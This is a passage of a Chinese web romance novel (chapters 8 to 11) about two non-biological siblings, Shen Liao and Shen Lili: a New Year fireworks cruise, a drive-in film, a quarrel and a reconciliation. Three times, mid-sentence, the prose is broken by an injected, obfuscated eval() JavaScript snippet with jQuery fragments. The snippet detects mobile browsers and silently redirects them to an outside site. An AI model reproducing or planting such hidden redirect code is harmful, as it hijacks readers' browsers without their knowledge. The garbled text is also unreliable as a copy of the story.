沈燎被呛了一口,说不出话了。项云天大笑出声,象征性地帮他拍背,笑得更猖狂:“哎,我提前道过歉了,你可别真跟我急了啊。” 沈燎咳了几声才缓过来,手杵在吧台上捏了捏眉心。 “没急,还冷静着呢。” “真的啊?” 沈燎抬起头,盯住他,“真的,就只是想抽你。” “……” “你用脚趾头想,我也不可能追离离。” 项云天开始列“罪证”,说:“怎么不可能。沈燎,我长那么大,没见过谁给妹妹送的新年礼物是一场烟花秀的,还有上回,什么谈恋爱也要经过她同意,你根本就是认真的吧?” 沈燎半晌没说话,始终在看演奏角,在音乐里自信又张扬的女孩。 “你不说话,我当你默认了。” 他终于开口:“这事憋着,跟你老婆也不能说。” “我还没老婆呢……”项云天顿了一下,瞧着他,震惊道:“不是,大哥,真的啊?喜欢上自己妹妹?二十多年的妹妹?” 他纠正:“十四年,离离六岁才被接到海文的。” “这个重要吗!”项云天一副刨根问底的架势,“你什么时候盯上人家的?初中,还是高中?我记得你三年前手机壁纸就是妹妹吧……” 沈燎气笑了,转头盯他,荒谬道:“怎么能被你说得那么恶心?中学时候才多大,我有那么变态?别问了啊,再问绝交。” 若不是从小一起长大,十分清楚对方为人,沈燎不会同他讲那么多。第一句问话出来,就能三言两语划清楚界限。 项云天缄默两分钟,还是忍不住:“你们又没什么亲属关系,你身边认识离离的人也不多,怕什么?” 沈燎懒得跟他详细解释,只反问了句:“你会喜欢你叫了十四年姐姐的人吗?” 于是项云天听明白了,他这意思是,沈离离不喜欢他,大概率只将他当哥哥。 设身处地脑补一番后,他颇为同情地拍了拍沈燎的肩膀,难得郑重,还带了点夸张的扼腕叹息之感:“沈总,你这也算顺风顺水一辈子,爱上妹妹,就当渡个情劫了。” 沈燎笑了声,对他的修辞不做评价。 等沈离离弹得尽兴,再回到座位里的时候,已经快到了烟花秀开始的时间。 人们聚到窗边,掏出手机准备记录。沈燎把她带到三楼,找了个绝佳的观赏位置。 她兴奋异常,说:“我们两个好幸运,这里居然没人。” “可能是你运气好,分了我一点。”他也笑了。 夜空如墨,闪烁着寂静无声的群星,似乎也在等待绽放。 第一朵烟花炸开的时候,沈离离眼眸亮起来,睁大了眼睛,激动得想大喊。 紧接着,烟花不再排队等候,而是争先恐后地冲上天空,绽放出千姿百态的灿烂。砰砰的响声一次接着一次,震耳欲聋,让人再也听不见其他声音。 夜空被彻底点亮了,人们都在为这场盛大的浪漫而欢呼。 闪耀的,五颜六色的光芒映在她的脸上,映在她的眼睛里。 忽然,她转头看向他,笑得无比灿烂,大喊道:“真的好美啊——新年快乐——!” 沈燎也回望着她,脉搏心跳,都和烟花一样在绽放,在震动,不是为景色,也不是为任何象征,只为此时此刻的她,亦或是时时刻刻,生动鲜明的她。 过去的数百个日夜,千万个难熬的瞬间,都只为一个人,为一个念头撑过来。 他知道笑容和眼神从来是收不住的,但在这一刻,似乎连嘴巴也将要出卖他。 “离离,我……” 9. 第 9 章 二十分钟的烟花秀转瞬即逝,沈离离依依不舍,耳畔似乎还残留着烟花炸开的砰砰响声,也像是她的心跳声。 “开心吗?”沈燎笑着问她一句,知道是废话,却还是想问。 沈离离靠在围栏边,仰头看着天空,拉长音调:“超级开心——” 两人又站在上面吹了会儿风,让晕乎乎的脑袋快些清醒,同时翻看手机里拍的照片和视频。 沈离离忽然想到,“对了哥,当时你说了什么?我没听清。” 沈燎垂下眼睫,随口说:“不太记得,没事,应该不是什么重要的事情。” 从三层下去,一路上人声不绝,笑笑闹闹,比烟花秀开始前还要热闹几倍。路过棋牌室,沈燎叫离离等一会儿,他进去打个招呼就走。 她一时着急,抓住他衣角,“诶,哥……” “嗯?”沈燎站住,回身看她。 她飞快松开手,抬头认真对他说:“你提前离场,会不会不太好。其实不用勉强,留在这儿玩一玩,多认识一些人,也没什么不好的。” 沈燎动作收回,也认真回望着她,话音微沉,问:“你真这样想的?” 他问完,两个人都陷入沉默,他在耐心等待她的回答,而她则对诚实的答案无法启齿。 沈离离张口,准备说谎,下一秒沈燎便转了身,推门走进棋牌室。 她呆呆在门外站了一会儿。 沈燎很快走出来,一同的还有项云天。见了她,后者扬起个笑容,像见小孩似的对她挥手:“嗨,离离。” 沈离离对此人已经熟悉,也笑着打了招呼。但莫名觉得,他这会儿看她眼神怪怪的,十分微妙。 他们没有立刻离开,而是走回刚才待过的餐吧,沈燎对她解释:“坐着等一会儿。” 项云天坐在沈离离对面,笑问她:“玩得开心吗?” 她笑着点头:“氛围很好,我还是第一次参加这样的派对。” 项云天:“这要怪沈燎,从来不带你出来跟我们一起玩,好几个人眼睛都看直了,说沈燎怎么可能有那么漂亮的妹妹。” 沈离离听出他的玩笑,于是也顺着讲:“那确实得怪他。不过,我觉得我哥比我漂亮多了。” 项云天噗一声笑出来,“哈哈哈,妹妹你太给他面子了。” 沈燎瞧着她,有点无奈:“沈离离,用漂亮形容我合适吗?” “怎么不合适,”沈离离笑着,煞有介事,说,“帅的男人不少,这船上就很多,但漂亮的,惊才绝艳的才是罕见。” 项云天听得有趣,指指自己,问她:“离离,那我呢,在你那里算哪一档?” 沈离离似是严谨地将他打量一番,接着说:“云天哥你这样的必然是上品,不过,审美是很个人的东西,我不该评价,把机会留给其他人吧。” 他笑得更愉快:“你们学艺术的是不是都这么有意思?” 沈燎说:“知道最有意思的是什么吗。” 两个人同时被他吸引注意力,“什么?” “学艺术的不一定都是有意思的人,”沈燎慢吞吞说,“但我妹妹肯定是。” 项云天盯了他一秒,忽然给他一掌,大叫:“沈燎你又来是吧!恶心死我算了!” 他望着对面的离离,两人噗嗤一下,同时笑了起来,笑得不知缘由,莫名其妙。 很快,似乎是到点,项云天对他们说差不多了。 沈离离没听懂什么意思,走到室外,才乍然一愣,不知道是不是被晚风吹蒙了,竟然看见游艇正在靠岸。 她回头看向沈燎,项云天正和他聊着什么,他微侧头,脸上带着漫不经心的淡笑。似有所感,抬眼,对上她的目光,继而弯了弯唇角。 “嗯,下次见。” 又一次道别完,兄妹二人下了船。 回到岸上,踩在实地上,沈离离还是多了些安心感,精神却依然处于亢奋,激动得想唱歌。 沈燎看她始终上扬的嘴角,心情也好,问她:“回家吗?还是想再逛逛。” 沈离离转头,看了他几秒,脑子里忽然划过一个突如其来的想法。 她笑得神秘,说:“哥,作为交换,我带你去个地方吧。” 看着她的笑容,沈燎说不出一句拒绝的话。 于是两人乘着夜色,临时找了一辆车,就这样开始了突如其来的行程。但没有人感到困扰,夜越深反而愈加兴奋,激情被重新点燃,就像在期待着下一场烟花。 沈离离坐上驾驶座,一路疾驰,车开出海文港,甚至将要开出市区。 但她这样方向感奇差的人,能开地如此胜券在握,义无反顾,好像要去的那个地方她已经去过无数遍,好像,她在带他前往她的秘密乐园。 沈燎难得坐副驾,笑说:“开车那么稳,真看不出来。” 她前两天还在说不爱开车。 沈离离说:“车技好不好不重要。” 他被勾起好奇心,顺着问下去:“那什么才重要?” “拥有能随时逃跑的能力,就可以了。”她笑了笑。 他静默片刻,又问:“想逃到哪里?” 沈离离说:“哥你又问错了。逃到哪里也不重要,只要能站起来,走出去……” “站起来,走出去,哪里都是前路。”他接着说了出来,两人的声音合在一起,像男女二重唱。 沈离离一愣,随后笑起来。 这是妈妈常对他们说的话。关女士热衷于鸡汤金句,从不训斥,只讲道理,两个小孩不管遇到什么麻烦,都愿意告诉她。 她也不像大多数家长,喜欢将自己放在上位,而是倾向于与孩子们交朋友,说心里话。 沈离离决定走音乐这条路,也曾忐忑不安,问妈妈,如果她其实根本没有天赋,根本做不出什么漂亮的成绩,怎么办? 关女士当时睨了她一眼,问:“离离,知道妈妈为什么要工作赚钱,为什么要接你到城里住吗?” 沈离离:“为了走出大山。” “……”倒也差不多。 关女士摸了摸她的脑袋,说:“是为了让你拥有选择的权利。离离,妈妈不想把自己什么夙愿加在你身上,妈妈只希望你能随时做自己想做的事,成为自己想成为的人。” 到了例行金句时,关女士深思一秒,自信地脱口而出:“所以别害怕,只要能站起来,走出去,哪里都是前路。” 沈离离扑到妈妈怀里,声音闷闷的,但很甜蜜,“妈妈我好爱你。” 关女士得意地笑:“不爱才要出问题咯,我这么好的妈妈,你打着灯笼都找不到。” 夜是寂静的,随着温度降低,霜露寒 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321091|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气也悄然而至。但车内是温暖的,是充满回忆和柔黄色滤镜的。 “这是要去大学城?”沈燎猜出来。 沈离离点头,“是在那边,但更接近市郊。” 很快,沈燎的好奇心便得到了满足。沈离离将车开进了一扇锈迹斑斑的铁门内,里面是个旧式的居民楼中央院心,不算十分宽敞,能停两排车,而大门正对面的,是一张电影幕布。 沈离离找位置停好了车,对沈燎笑了笑,示意他下车。 两人从车上下来,就走过来一个很酷的中年女人,短发染成了粉色,穿着皮夹克,趿拉着毛拖鞋,眯着眼睛瞧了一会儿,忽然就展臂笑了,“哎呀小离离!我说这大半夜谁呢。” 沈离离过去抱了抱对方,也笑起来:“突然想你了,马不停蹄就过来啦。” 她介绍道:“这是我哥。哥,这位是汽车影院的老板萍姐。” 沈燎笑着打了声招呼。 萍姐将他上下看了一遍,瞥向沈离离,揶揄说:“怕不是想我,是约会没去处了。” 沈离离飞快澄清:“真是哥哥,一起长大的那种。” “啊?”萍姐目光一转,又打量起沈燎。 后者笑道:“萍姐能把我们看成一对,看来我身上社畜气息不浓,气质也像大学生?” 听见沈总将自己称呼为社畜,沈离离倍感荒谬。 萍姐顺台阶下,笑说:“还真是,原来你工作了,看着跟离离差不多大。” 说话间,要带他们进屋喝茶,离离婉拒,笑说天色不早,蹭一场电影就该回市区了。 他们到萍姐的小卖部买了些零食,然后去挑电影。 因为是私人小场子,萍姐这里没有院线电影,只适合怀旧,收费也极低,完全是为取悦自己才开的露天影院。 “海上钢琴师,或者,暧暧内含光?” 沈离离看向沈燎。 沈燎的目光先是落在后者,接着很快移开,抬眼问她:“你更想看哪部?” 沈离离:“我都很喜欢,你来选吧。” “那就,海上钢琴师?跟今晚的主题还挺搭的。”他笑了笑,指的是刚才她在游艇上弹奏爵士乐的事。 沈离离垂下眼睫,不过一秒,也扬起笑容,“好,那就看这个。” 两人坐回车里,她很快调好了广播,打开空调。眼前的大屏幕,以古朴的居民楼和夜空为背景,缓缓亮起来。 沈离离看电影是十分认真的,这样与音乐相关性高的片子更甚,将座椅调整到最舒服的状态后,她一点点沉浸其中。 狭小而温馨的车里,两个人的距离似乎未变,又似乎更近。 沈燎有些心不在焉,又觉得自己这样太不尊重电影,不尊重她将他带来到秘密基地的那份真诚,于是打起精神继续看。 并非电影的叙事多么慢热,也并非不习惯这样的观影方式,心不在焉的原因,只有他自己清楚。 刚才为什么第一眼看向的是第二部爱情片,又为什么欲盖弥彰,选择了前者。同样只有他知道。 两个人的气息,在封闭空间内交织,缠绵,本人却都像是心静如水,不为所动。 但也不约而同地,在光芒稍暗的时候,悄悄将注意力放在余光之中。 这一晚,沈离离感觉到了前所未有的快乐和寂寥。 10. 第 10 章 年初三过去,时间疯跑,像是一下被按了加速键。 后来的几天,沈离离每天出门排练,乐队四人对待每一场演出都很认真。 临近演出的日子,她踌躇了许久,才在晚上排练结束回家后问了沈燎,想不想去看。 沈燎说:“必须去,之前的没机会看,以后的肯定不能缺席。” 沈离离也高兴,立刻将时间地点发给他。 到了正式演出那天,室内现场挤满了人。他们四人在休息室里等待上台,陈夏安掏出化妆包给沈离离又补了补妆。 一边开玩笑说:“怎么一直看手机,在等女朋友回消息?” 沈离离一激灵,“啊”了一声。 陈夏安笑道:“没说你,你哪来的女朋友。我说小恒爷呢。” 一旁的殷恒淡淡丢来一句:“不是在等消息,是正在发消息。” 杨敬澄:“哟又给你秀到了。她今晚来看啊?从南州专程过来的?” “嗯。” 大家不约而同地从殷恒这个音节里听出了满满愉悦,照旧揶揄他两句。 沈离离有些心不在焉,索性直接熄了手机屏幕。陈夏安问她怎么了,她摇头笑笑,说没事,看手机看得眼睛疼。 其实是在等沈燎的消息。约定好的时间早已经过去,他还是没有回音,只有两小时前突然的一句:离离,有点事要处理,我忙完就过去。 再过十分钟要去候场,沈离离不想垂头丧气,依然在努力给心底里那簇小火苗吹气,别熄灭,别熄灭,再等等…… “走啦离离。”陈夏安起身说。 十分钟原来那么慢,沈离离叹了口气,放下了手机。 除了演出的短暂时间,这整个夜晚似乎过分漫长。 场内音响连着心脏震动,舞台上灯光有些刺眼,演出结束后回到后台,沈离离眯着眼睛,重新打开手机,终于收到了沈燎的回复。 哥:离离,今晚事出有因,我也没办法。我现在过去来得及吗? 谈不上失落,只有种“早该预料到这种情况”的无奈。 她抿了抿唇,几秒后,回复他:我们已经结束啦,你直接回家休息吧,别白跑。 “离离,等会儿一起去吃饭吗?”杨敬澄走过来。 沈离离从手机里抬起头,“行啊,我们四个一起吗?” “殷恒要陪女朋友,”杨敬澄说着,又看了看她,才接着道:“那个,安姐也有事,可能就我俩。” “这样啊,就我们两个的话,随便找家对付一下就行。”她关闭手机,起身收拾东西。 杨敬澄笑了起来:“我也是这么想的。” 走出来不远就是一条商业街,两人背着包,走得慢吞吞,一个埋头看地面,一个抬头眼睛乱瞧,都心事重重的样子。 “想吃什么?” 沈离离:“你有什么想吃的吗?” “没有,看你。” 她笑了笑,“那我就真随便选了?” “没问题。”说完,杨敬澄低头看她一眼,有些不确定:“离离,你是不是心情不好啊?” 沈离离一愣,撑开脸上的笑,扬眉说:“胡说什么,是在暗示我今晚弹错音了?” 她的表情和语调都与平常别无二致,杨敬澄也不好盯着她看太久,很快收回视线,把无端的猜测抛之脑后,接她的玩笑:“你弹错的音我可都记着呢。” 沈离离笑出声,谴责他:“你再乱扣帽子呢,我根本没有弹错好吧。” 两人讲起话,气氛变得轻松又欢欣,笑闹间,一顿晚饭的时间很快过去。 直到走出小饭店,沈离离打开手机,才猛地发现了来自沈燎的未接来电。暗道糟糕,她小心翼翼地点击回拨。 电话立刻就被接通,她喂了一声。 对面像是已经了然于心,叹了口气:“又静音了?” “嗯……忘记打开了,真不是故意的。” “没事,”沈燎语气平静,“跟朋友在一起?吃饭了吗?” “刚吃完,你现在在哪?” 她心想,他应该不会在演出地点附近一直找她,等她到现在吧,应该在家里,应该已经吃过晚饭了吧…… 沈燎的声音传过来:“在你给我的地址这。要再玩会儿还是现在回家?回家的话我去接你。” 沈离离轻声答了好,接着把位置发了过去。 看她满脸的郁闷,杨敬澄便猜测:“你哥啊?” 她点点头,“他等会儿来接我,要不一起走?” 杨敬澄连忙摆手,满脸抗拒:“不不不,不用了,我家又不远,走过去就行。跟你哥我是真有点聊不来。” 沈离离笑了笑,没接话。 直到沈燎抵达,看着沈离离上了车朝他挥手,杨敬澄才离开。路上走着,有些好笑地想着,这场景真是有点熟悉。 好像上一个想要说正事的时候,她也是被兄长接走。 而车上的两人仍是无言,沉默持续了很久,沈燎才忽然开口:“离离,今晚的事是我对不起你。” 沈离离被吓了一跳,扭头看他,“我还没跟你说对不起呢,你怎么……” 话音止住,她意识到他是在为自己的缺席道歉。 “没关系的,你也有正事要忙,”她笑笑,故作轻松,说:“我刚才也让你白等了二十分钟,就算扯平了。” 沈燎问她:“真觉得能扯平?你等了我多久?” 她的笑容一下凝固,微张着唇,停顿了一会儿。 “差不多的时间吧,你别说了,这又不是什么大事。”她目视着前方,轻松地说。 车内又是一片寂静。 “离离,”沈燎叹了口气,忽然开口,语气放缓说,“不管是生气,难过,还是失望,都不要憋在心里,无论程度大小,全部可以抱怨,可以说出来,没有人会怪你的,明白吗?” 沈离离眼睛始终盯着车窗外,这时,才转过头,看向沈燎。不夜之城璀璨的灯火映在他脸上,光影分明,连晃动也是细微的,他目光如水,那么平静。 但她忽然就是觉得,沈燎现在其实很着急。她不知道他在担心什么。 几秒后,她吸了口气,说:“如果能做到情绪稳定,为什么一定要让它失控?” 沈燎没有说话,也看不清表情。 “而且这确实不是多大的事情,我觉得没必要让你加班一晚上回来,还要听我的抱怨。”她顿了顿,声音低下去,说道:“我已经是成年人了,不是那种……” 沈燎等了两秒,“那种什么?” “那种任性的,永远长不大的小妹妹。” “可是在我这,你有任性的权利。” “我说的不是这个意思,你根本就不明白。” “我不明白什么,你不就是嫌我烦了,管得宽了?” “我的意思是,我们为什么不能平等地相处。” “你觉得我们之间不平等?”他感到荒谬。 沈离离:“难道不是吗?” 他沉默一会儿,闭了闭眼,抛出个问句:“你想要的是哪方面的平等,嗯?” “……各个方面的。” 她抬起头,猝然与他四目相接,看见他皱起的眉。 沈燎沉声说:“沈离离,不管你长多大,我都是你哥哥。” “但我们根本就不是……” 沈离离猛然一顿,咬了咬唇,然后冷静而快速地说:“但我不想总是哭和撒娇,不想一直被谁保护,不需要随时被谁哄着,也不是非得依靠某个人才能活下去。哥哥,你也是成年人,难道不知道维持体面才是常规吗。” 她梗着脖子,盯着他。 从小到大,这是她唯一一次头脑发热,明知故犯地说出伤人的话。 车停的时候,车库里的灯光明晃晃照进来,沈离离看见,沈燎脸上露出了不可置信的神情,他的目光不再平静,冷得像寒冰。 对视几秒,他轻呵一声,“确实是长大了。”半是自嘲,半是讽刺。 沈离离紧抿着唇,一言不发,随后打开车门,直接回家,锁上了房间门。 他们不常吵架的。因为沈燎总是将自己居于名为“哥哥”的保护者位置,也因为,他们不是真正的兄妹。没有亲缘关系的束缚,也没亲缘关系的保护。就像小时候和妈妈吵架,沈离离从不会担心妈妈离开自己。 上一回和沈燎吵架,是什么时候? 好像就是三年前,吵完第二天,甚至没能见一面,沈燎就离开了,数日没有消息。 那天是怎么回事?沈离离竟然有些回想不起吵架的缘由。 接下来几天,沈燎早出晚归,忙得脚不沾地,沈离离很难见到他人影,更别提坐下来好好聊一聊。但或许也有沈离离刻意躲避的嫌疑,时刻浸泡在影音室和录音室,强迫自己忽略裂痕。 只有每天早上如同惯例的早餐纸条,雷打不动地贴在岛台平面上。 到了农历初六,春节假期结束,海文迎来了返城复工的人们。 后来的几天沈离离都没什么特别的印象,沈燎总是很忙,就算有空闲,两人也不会多言。 餐桌上,还是沈燎先打破气氛。 他问:“今天要去琴行?” 她顿了两秒,才答了声:“嗯,已经初十了。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321092|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>沈燎点头,对她说:“出门记得戴围巾,穿厚一点,这两天降温。” 沈离离没回答。他继续说:“晚上我还是在地铁站等你,有情况我会提前告诉你,让司机去接你。” 沈离离抬头:“你公司的事情忙完了?” “差不多吧,后续的还得再处理,不用担心,不是什么严重的事情。” 这是正常的生活节奏,一切都是规律而稳定的。 她于是应了声好,没再多说。 他们莫名其妙地吵了一场,又似乎莫名其妙地和好了,两人默契地对那晚的事缄口不提,继续平静地充当着各自哥哥妹妹的角色,比过去刚刚重逢的一个月更加平静。 二月中旬,沈离离的寒假只剩不到两周的时间。 海文的气温有所回温,但还是维持在十度以下。 沈离离走出地铁站时拉上了外套拉链,走到老位置,看见沈燎的车,开门坐进去。 沈燎看着她系上安全带,说:“怎么还穿裙子?别冻着。” 沈离离:“不会啦,我穿了光腿神器。” 他轻笑,边启动车,边夸张地叹气,开玩笑说:“行,你们现在的小姑娘,人人都有神器。” “哥你这个口吻,不知道的还以为你是什么保守派中年大叔。”她淡笑着说完,想起正事,扭头看向他,“对了,我明天请了一天假。” “怎么了,”他分了会儿神,“出什么事了么?”因为知道她的性格,认真到较真,是绝不会为休息而请假的那种。 沈离离忙说:“没什么大事,就是刚才姑姑说明天她有空,来找我们吃顿饭,我上周就没休嘛,也有点累了。” 沈燎这才放心,“好,姑姑什么时候过来?” “来吃晚饭。” 这顿晚饭,沈燎没再大显身手,沈君玉订了餐厅,三人出去吃日料。 沈君玉今天穿了条深灰毛呢裙,沈离离也是同样颜色的冬裙,两人见了面便笑出来。 沈君玉笑道:“我就说我们姑侄俩最默契,你看,这不就是。” 沈燎:“我昨晚还在说离离冬天穿裙子不妥,姑姑您今天就打我的脸了。” “哎哟,你这个当哥哥的,管太宽。女孩子保暖的前提下,想穿什么就穿什么。” “说得是。” 沈离离插了句:“不过,我哥操心也是正常的。” 沈燎和姑姑齐齐转头看她,她说:“因为他是巨蟹座嘛,男妈妈。” 沈君玉噗嗤一声,笑得合不拢嘴。沈燎伸手过来揉了把她的脑袋,笑骂:“又扯歪理。” 三人落座,很快点好单,开始闲聊。 从沈君玉儿子林砚洲最近的学习状态,又聊到了沈离离的学习,问她毕业后的打算。 沈离离实在提不起兴趣,笑着打了个马虎,说:“我这学期再看看吧,没定呢,但肯定没我哥厉害。” 沈燎挑眉,看了她一眼,“我很厉害?” “对呀,”她喝了口水,清了清嗓子,“年纪轻轻就当上总裁,在外学成归来,独自经营公司,风生水起……” “这说的是我吗?”他眉目含笑。 沈君玉笑说:“离离真是,小时候就这样,全世界就你哥哥最好是吧?” 沈离离只停顿不到半秒,扬起笑:“以后也是这样。” 她抬眼,对上沈燎微微怔愣的神色。 他移开对视的目光,垂眸笑了笑,没说话。 菜很快上齐,这顿日料姑姑念了很久,沈离离也吃得很开心。 直到姑姑问出句话,是对着沈燎:“小燎,现在还在离离那儿么?”其实不用问,看他们来的方向也知道答案,于是她接着便问:“房子什么时候能住进去?” 沈离离心中一紧。 多日以来,她始终在刻意回避的问题,终究被提出来。 沈燎扯了张纸巾,敛下眉目,声音平淡:“下周。” 姑姑状似无意,说:“那正好,离离好像就是下周开学?” “嗯,下周天回学校。”她答了声。连笑容也撑不起来。 姑姑语气带笑:“难过什么,你哥总不能又跑了,是吧小燎。” 沈燎:“不会。到时候就算搬过去了,也有房间是你的。” 沈离离发现这话是对着她说的,而且表情极为认真,她眨了眨眼,下意识问:“真的吗?” 这话惹来姑姑的笑声,“傻丫头,他过去,恐怕自己都没整理好,就要先把你的房间收拾出来。” 两人对视片刻,又转开眼,没再继续这个话题。 沈燎搬家,是沈离离开学的前一天。 11. 第 11 章 假期近尾声,沈离离上大学来,第一次对开学产生抵触情绪。 沈燎搬家只是半天的事情,从周六下午开始陆陆续续搬东西,到了晚饭时,已经完成得差不多。 “去我那里吃顿饭?”他停在门口,回头说。 沈离离站在楼梯上,点头说好,又道:“那你等我一会儿。” 她回衣帽间换衣服,路过沈燎房间时,放慢脚步,轻轻推开门往里看去。 并非想象中的空空荡荡,甚至与平时别无二致,他似乎只带走了些必备的物品和衣物,以及摆在床头的相框。书房也是这样,消失的只有办公用品,连他常看的书和桌上的绿植都依旧如初。 她莫名有些好笑,这人搬家,其实根本只花了一个小时吧。 可能因为大部分东西都要换新。她想着。 开车十分钟的功夫就到了沈燎的住处,一个空旷的大平层,大概三百平,却只有两间卧室。 进屋后,沈离离从玄关开始打量装修,一直探索到客厅厨房和书房。沈燎笑着跟在她身后,“喜不喜欢?” 她诚实地回答:“喜欢,就是装修风格有点儿商务……而且卧室太少。” 沈燎:“少吗?两间够用了。” 他抬手推着她的肩膀,带她走进卧室。两间卧室有一个大阳台连通,面积看上去差不多,连装修布置也一模一样。 他问她:“喜欢哪间?” 沈离离停下脚步,转身,惊讶地看着他:“给我?” 沈燎稍稍挑眉,“上周在那家日料店就说过。” 她呆住,一直认为那是随口说的玩笑话。 他接着道:“你先挑,挑好了照你喜欢的风格再装。不过我这里倒是没法给你加录音室了,看电影,也只能在客厅……” 听着他絮絮叨叨的设想,沈离离顿时有点头晕,夹杂着不可置信和受宠若惊。花了几秒钟冷静下来,才说:“这间卧室给我,那你以后怎么办?还要再买一套房子?” “什么以后?” “有了……家庭以后。” 沈燎顿住,垂眸望着她。 片刻,他摸了摸她的头发,很快抬开手,浑不在意地笑说:“这有什么,以后的事情,以后再说,又不缺买套房子的钱。” 沈离离闷闷地嗯了声,转身往外走,故作松弛地吐槽了句:“有钱真是任性。” 沈燎笑了声,“所以想好了吗,喜欢哪间?” “右边吧。”她随口答,其实根本没什么好选的,两个卧室长得无甚差别。 “行,那我等会儿把设计师微信给你,你亲自跟她商量?” “……好。”脑袋还是晕乎乎的。 一顿饭吃完,天色已不早,夜空中难得能看见几颗星星。 沈离离关了电视,走进书房,对沈燎说:“哥我得回去了,明天早上就去学校,东西还没收拾。” 沈燎戴着细框眼镜,从电脑中抬眼,点头:“好,坐着等会儿,我送你过去。” 她走回客厅,坐进商务感满满的沙发里划拉手机屏幕,片刻,见他摘了眼镜走出来,边穿外套,边说走吧。 回程的路不过十分钟,这段距离用散步也花不了太长时间。 他一直把车开到家门口,才停下。 沈离离回过头看他,抿了抿唇,笑着说:“那我回去啦。” 他点头,似乎欲言又止。 沈离离放慢了开门动作,在安静等待。 “明天……到学校了跟我说一声。”他神色晦暗,辨不太清,但肯定没有笑。 只是想说这个吗? 沈离离淡淡一笑,应了声好,不再犹豫,下了车。 一步又一步,她迈进黑暗,迈进寒冷,走回她的家,那里也是他们曾经的家。 沈燎长久地停在原地,保持一个姿势,双眼发紧地盯着她的背影。 她停步在门前,没有回头,也没有按下门把手。沈燎察觉自己的呼吸变得急促。 他猛地拉开车门,也跑进浓重的冷夜中。 “沈燎,”沈离离回头,看着他,紧蹙着眉,“我们谈谈吧。” “好。” “我想说的是那天晚上的事情。” “好。” “我们吵架的那晚。” “我知道。” “我不想再莫名其妙吵架,又当做什么也没发生过,莫名其妙地和好。” 沈燎看着她的眼睛说:“我也是。” 沈离离忽然有点想笑,这场交谈尚未开始,她已经满心愉悦。 沈燎把车开进车库,回到屋子里,沈离离已经倒了两杯水,如临大敌地端坐在沙发上。 “那么正式?”他笑,走过来坐下,抬起水杯喝了口热水。 “那当然,”她轻咳两声,开口道:“那天晚上,我说了气话,那些不是我的本意,对不起。我觉得,我可能只是太想告诉你我已经长大了。” 正题切入得很快,倒是符合她一贯的作风。 沈燎:“没关系,我能理解。这件事我也有错,是我太固执,总是把你当做小孩。” 两厢无言,片刻,沈燎放下水杯,低声说:“离离,我只是有点担心。” “担心什么?” “……担心你不需要哥哥了。”他说这话时带着自嘲的笑意,沈离离却听得心碎。 她需要的确实不是一个哥哥,她只想要沈燎。 可这样的话,能说吗? 沈离离低头看着手里的水杯,轻声道:“不会的,哥,永远不会。” 她的眼睛此刻像清澈的湖水,润物无声,温柔又充满力量,“我说不出来原因,而且,这种事情也不应该有什么承诺吧,但我知道不会。就像,你也不会再离开我对吗?” 沈燎对上她的视线,心跳仿佛漏了一拍。 “不会,永远不会。”近乎情不自禁,他重复了她刚才的话。 两人同时朝着对方笑出来,别开眼,再一对视,还是想笑。 沈离离很快就知道了为什么沈燎搬东西不搬干净,大概是为了方便随时留宿。此人还要美其名曰:明天早上送你去学校。 好吧,反正,这也算是他的家。 开学后,他们的联系还是明显少了,可能是沈燎工作忙,也可能是沈离离学校事情变多。 大三的下学期,周围的同学都在这时候差不多都确定了目标,考研的考研,考公的考公,有别的想法的,也早做准备。沈离离和乐队的伙伴们一边排练,一边迷茫。 聚餐时,陈夏安问:“你们有什么打算啊?我有点纠结要不要考研。” 殷恒:“毕业出来,也就是找工作。” 陈夏安:“就你家那条件,工作还要亲自找?” 殷恒简单直接:“孟月要出国,我跟她一起去。”孟月是他的女朋友。 杨敬澄啧啧两声:“恋爱脑。” 殷恒踢他一脚,斜眼望过来,“你呢?” “继承家业呗。” 沈离离讶异:“那个琴行?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15321093|167486||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>杨敬澄笑道:“开玩笑呢,我妈叫我考教师编制,但我……还想再玩几年乐队。” 大家沉默住。好像从一开始,就全都默认这乐队毕业即散,也就没人太投入心血,只有杨敬澄是最认真,最拼命的那个。 陈夏安提高声音,转开话题:“诶离离,你还没说呢。你成绩那么好,没准备读研?” 沈离离诚实摇头,“没想好。” 陈夏安大惊小怪:“你不会毕业就要工作吧?别浪费你天赋啊,干嘛不多读两年。” 纠结半晌,她还是说了实话:“原本是想申请国外的学校的,但是,最近有点犹豫。” 三人一起问她:“犹豫什么?” “有点想家,舍不得走。”她拐弯抹角地说了这样一句。 杨敬澄和殷恒自然什么也听不明白,只觉得诧异到好笑:“你别逗,这算什么理由。” 陈夏安静静瞧着她,隔了好一会儿才说:“跟家里人商量一下吧,离离,你别意气用事。” 